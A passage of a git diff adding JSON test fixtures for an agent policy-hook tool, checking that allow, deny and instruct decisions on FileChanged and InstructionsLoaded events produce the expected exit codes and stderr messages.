+ }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/factory/FileChanged/allow-with-reason__tool-absent__two-policies.json b/__tests__/parity/fixtures/factory/FileChanged/allow-with-reason__tool-absent__two-policies.json new file mode 100644 index 00000000..45e209ed --- /dev/null +++ b/__tests__/parity/fixtures/factory/FileChanged/allow-with-reason__tool-absent__two-policies.json @@ -0,0 +1,51 @@ +{ + "case": "allow-with-reason__tool-absent__two-policies", + "cli": "factory", + "decision_kind": "allow-with-reason", + "event": "FileChanged", + "input": { + "event_type": "FileChanged", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "FileChanged", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "factory", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "FileChanged", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n[failproofai] parity/policy-2: parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/factory/FileChanged/allow-with-reason__tool-present__one-policy.json b/__tests__/parity/fixtures/factory/FileChanged/allow-with-reason__tool-present__one-policy.json new file mode 100644 index 00000000..a336ff13 --- /dev/null +++ b/__tests__/parity/fixtures/factory/FileChanged/allow-with-reason__tool-present__one-policy.json @@ -0,0 +1,49 @@ +{ + "case": "allow-with-reason__tool-present__one-policy", + "cli": "factory", + "decision_kind": "allow-with-reason", + "event": "FileChanged", + "input": { + "event_type": "FileChanged", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "FileChanged", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "factory", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "FileChanged", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/factory/FileChanged/allow-with-reason__tool-present__two-policies.json b/__tests__/parity/fixtures/factory/FileChanged/allow-with-reason__tool-present__two-policies.json new file mode 100644 index 00000000..5e7bd33a --- /dev/null +++ b/__tests__/parity/fixtures/factory/FileChanged/allow-with-reason__tool-present__two-policies.json @@ -0,0 +1,55 @@ +{ + "case": "allow-with-reason__tool-present__two-policies", + "cli": "factory", + "decision_kind": "allow-with-reason", + "event": "FileChanged", + "input": { + "event_type": "FileChanged", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "FileChanged", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "factory", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "FileChanged", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n[failproofai] parity/policy-2: parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/factory/FileChanged/deny__tool-absent__one-policy.json b/__tests__/parity/fixtures/factory/FileChanged/deny__tool-absent__one-policy.json new file mode 100644 index 00000000..d18e6be0 --- /dev/null +++ b/__tests__/parity/fixtures/factory/FileChanged/deny__tool-absent__one-policy.json @@ -0,0 +1,43 @@ +{ + "case": "deny__tool-absent__one-policy", + "cli": "factory", + "decision_kind": "deny", + "event": "FileChanged", + "input": { + "event_type": "FileChanged", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "FileChanged", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "factory", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "FileChanged", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 2, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "Blocked operation by failproofai because: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend, as per the policy configured by the user\n", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/factory/FileChanged/deny__tool-absent__two-policies.json b/__tests__/parity/fixtures/factory/FileChanged/deny__tool-absent__two-policies.json new file mode 100644 index 00000000..2c255ea8 --- /dev/null +++ b/__tests__/parity/fixtures/factory/FileChanged/deny__tool-absent__two-policies.json @@ -0,0 +1,48 @@ +{ + "case": "deny__tool-absent__two-policies", + "cli": "factory", + "decision_kind": "deny", + "event": "FileChanged", + "input": { + "event_type": "FileChanged", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "FileChanged", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "deny", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "factory", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "FileChanged", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 2, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "Blocked operation by failproofai because: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend, as per the policy configured by the user\n", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/factory/FileChanged/deny__tool-present__one-policy.json b/__tests__/parity/fixtures/factory/FileChanged/deny__tool-present__one-policy.json new file mode 100644 index 00000000..4ee5ee18 --- /dev/null +++ b/__tests__/parity/fixtures/factory/FileChanged/deny__tool-present__one-policy.json @@ -0,0 +1,47 @@ +{ + "case": "deny__tool-present__one-policy", + "cli": "factory", + "decision_kind": "deny", + "event": "FileChanged", + "input": { + "event_type": "FileChanged", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "FileChanged", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "factory", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "FileChanged", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 2, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "Blocked Bash by failproofai because: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend, as per the policy configured by the user\n", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/factory/FileChanged/deny__tool-present__two-policies.json b/__tests__/parity/fixtures/factory/FileChanged/deny__tool-present__two-policies.json new file mode 100644 index 00000000..77642c09 --- /dev/null +++ b/__tests__/parity/fixtures/factory/FileChanged/deny__tool-present__two-policies.json @@ -0,0 +1,52 @@ +{ + "case": "deny__tool-present__two-policies", + "cli": "factory", + "decision_kind": "deny", + "event": "FileChanged", + "input": { + "event_type": "FileChanged", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "FileChanged", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "deny", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "factory", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "FileChanged", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 2, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "Blocked Bash by failproofai because: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend, as per the policy configured by the user\n", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/factory/FileChanged/instruct__tool-absent__one-policy.json b/__tests__/parity/fixtures/factory/FileChanged/instruct__tool-absent__one-policy.json new file mode 100644 index 00000000..be42d303 --- /dev/null +++ b/__tests__/parity/fixtures/factory/FileChanged/instruct__tool-absent__one-policy.json @@ -0,0 +1,45 @@ +{ + "case": "instruct__tool-absent__one-policy", + "cli": "factory", + "decision_kind": "instruct", + "event": "FileChanged", + "input": { + "event_type": "FileChanged", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "FileChanged", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "factory", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "FileChanged", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/factory/FileChanged/instruct__tool-absent__two-policies.json b/__tests__/parity/fixtures/factory/FileChanged/instruct__tool-absent__two-policies.json new file mode 100644 index 00000000..247a0bb7 --- /dev/null +++ b/__tests__/parity/fixtures/factory/FileChanged/instruct__tool-absent__two-policies.json @@ -0,0 +1,51 @@ +{ + "case": "instruct__tool-absent__two-policies", + "cli": "factory", + "decision_kind": "instruct", + "event": "FileChanged", + "input": { + "event_type": "FileChanged", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "FileChanged", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "instruct", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "factory", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "FileChanged", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n[failproofai] parity/policy-2: parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/factory/FileChanged/instruct__tool-present__one-policy.json b/__tests__/parity/fixtures/factory/FileChanged/instruct__tool-present__one-policy.json new file mode 100644 index 00000000..b9bfece3 --- /dev/null +++ b/__tests__/parity/fixtures/factory/FileChanged/instruct__tool-present__one-policy.json @@ -0,0 +1,49 @@ +{ + "case": "instruct__tool-present__one-policy", + "cli": "factory", + "decision_kind": "instruct", + "event": "FileChanged", + "input": { + "event_type": "FileChanged", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "FileChanged", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "factory", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "FileChanged", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/factory/FileChanged/instruct__tool-present__two-policies.json b/__tests__/parity/fixtures/factory/FileChanged/instruct__tool-present__two-policies.json new file mode 100644 index 00000000..dd8d5942 --- /dev/null +++ b/__tests__/parity/fixtures/factory/FileChanged/instruct__tool-present__two-policies.json @@ -0,0 +1,55 @@ +{ + "case": "instruct__tool-present__two-policies", + "cli": "factory", + "decision_kind": "instruct", + "event": "FileChanged", + "input": { + "event_type": "FileChanged", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "FileChanged", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "instruct", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "factory", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "FileChanged", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n[failproofai] parity/policy-2: parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/factory/InstructionsLoaded/allow-silent__tool-absent__one-policy.json b/__tests__/parity/fixtures/factory/InstructionsLoaded/allow-silent__tool-absent__one-policy.json new file mode 100644 index 00000000..e1f6cc81 --- /dev/null +++ b/__tests__/parity/fixtures/factory/InstructionsLoaded/allow-silent__tool-absent__one-policy.json @@ -0,0 +1,43 @@ +{ + "case": "allow-silent__tool-absent__one-policy", + "cli": "factory", + "decision_kind": "allow-silent", + "event": "InstructionsLoaded", + "input": { + "event_type": "InstructionsLoaded", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "InstructionsLoaded", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + } + ], + "session": { + "cli": "factory", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "InstructionsLoaded", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/factory/InstructionsLoaded/allow-silent__tool-absent__two-policies.json b/__tests__/parity/fixtures/factory/InstructionsLoaded/allow-silent__tool-absent__two-policies.json new file mode 100644 index 00000000..7ad1eaa5 --- /dev/null +++ b/__tests__/parity/fixtures/factory/InstructionsLoaded/allow-silent__tool-absent__two-policies.json @@ -0,0 +1,48 @@ +{ + "case": "allow-silent__tool-absent__two-policies", + "cli": "factory", + "decision_kind": "allow-silent", + "event": "InstructionsLoaded", + "input": { + "event_type": "InstructionsLoaded", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "InstructionsLoaded", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": null + } + ], + "session": { + "cli": "factory", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "InstructionsLoaded", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/factory/InstructionsLoaded/allow-silent__tool-present__one-policy.json b/__tests__/parity/fixtures/factory/InstructionsLoaded/allow-silent__tool-present__one-policy.json new file mode 100644 index 00000000..a4402394 --- /dev/null +++ b/__tests__/parity/fixtures/factory/InstructionsLoaded/allow-silent__tool-present__one-policy.json @@ -0,0 +1,47 @@ +{ + "case": "allow-silent__tool-present__one-policy", + "cli": "factory", + "decision_kind": "allow-silent", + "event": "InstructionsLoaded", + "input": { + "event_type": "InstructionsLoaded", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "InstructionsLoaded", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + } + ], + "session": { + "cli": "factory", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "InstructionsLoaded", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/factory/InstructionsLoaded/allow-silent__tool-present__two-policies.json b/__tests__/parity/fixtures/factory/InstructionsLoaded/allow-silent__tool-present__two-policies.json new file mode 100644 index 00000000..02963b77 --- /dev/null +++ b/__tests__/parity/fixtures/factory/InstructionsLoaded/allow-silent__tool-present__two-policies.json @@ -0,0 +1,52 @@ +{ + "case": "allow-silent__tool-present__two-policies", + "cli": "factory", + "decision_kind": "allow-silent", + "event": "InstructionsLoaded", + "input": { + "event_type": "InstructionsLoaded", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "InstructionsLoaded", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": null + } + ], + "session": { + "cli": "factory", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "InstructionsLoaded", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/factory/InstructionsLoaded/allow-with-reason__tool-absent__one-policy.json b/__tests__/parity/fixtures/factory/InstructionsLoaded/allow-with-reason__tool-absent__one-policy.json new file mode 100644 index 00000000..aa9e853e --- /dev/null +++ b/__tests__/parity/fixtures/factory/InstructionsLoaded/allow-with-reason__tool-absent__one-policy.json @@ -0,0 +1,45 @@ +{ + "case": "allow-with-reason__tool-absent__one-policy", + "cli": "factory", + "decision_kind": "allow-with-reason", + "event": "InstructionsLoaded", + "input": { + "event_type": "InstructionsLoaded", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "InstructionsLoaded", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "factory", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "InstructionsLoaded", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/factory/InstructionsLoaded/allow-with-reason__tool-absent__two-policies.json b/__tests__/parity/fixtures/factory/InstructionsLoaded/allow-with-reason__tool-absent__two-policies.json new file mode 100644 index 00000000..d446075e --- /dev/null +++ b/__tests__/parity/fixtures/factory/InstructionsLoaded/allow-with-reason__tool-absent__two-policies.json @@ -0,0 +1,51 @@ +{ + "case": "allow-with-reason__tool-absent__two-policies", + "cli": "factory", + "decision_kind": "allow-with-reason", + "event": "InstructionsLoaded", + "input": { + "event_type": "InstructionsLoaded", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "InstructionsLoaded", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "factory", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "InstructionsLoaded", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n[failproofai] parity/policy-2: parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/factory/InstructionsLoaded/allow-with-reason__tool-present__one-policy.json b/__tests__/parity/fixtures/factory/InstructionsLoaded/allow-with-reason__tool-present__one-policy.json new file mode 100644 index 00000000..e083741b --- /dev/null +++ b/__tests__/parity/fixtures/factory/InstructionsLoaded/allow-with-reason__tool-present__one-policy.json @@ -0,0 +1,49 @@ +{ + "case": "allow-with-reason__tool-present__one-policy", + "cli": "factory", + "decision_kind": "allow-with-reason", + "event": "InstructionsLoaded", + "input": { + "event_type": "InstructionsLoaded", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "InstructionsLoaded", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "factory", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "InstructionsLoaded", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/factory/InstructionsLoaded/allow-with-reason__tool-present__two-policies.json b/__tests__/parity/fixtures/factory/InstructionsLoaded/allow-with-reason__tool-present__two-policies.json new file mode 100644 index 00000000..9e476cbb --- /dev/null +++ b/__tests__/parity/fixtures/factory/InstructionsLoaded/allow-with-reason__tool-present__two-policies.json @@ -0,0 +1,55 @@ +{ + "case": "allow-with-reason__tool-present__two-policies", + "cli": "factory", + "decision_kind": "allow-with-reason", + "event": "InstructionsLoaded", + "input": { + "event_type": "InstructionsLoaded", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "InstructionsLoaded", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "factory", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "InstructionsLoaded", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n[failproofai] parity/policy-2: parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git 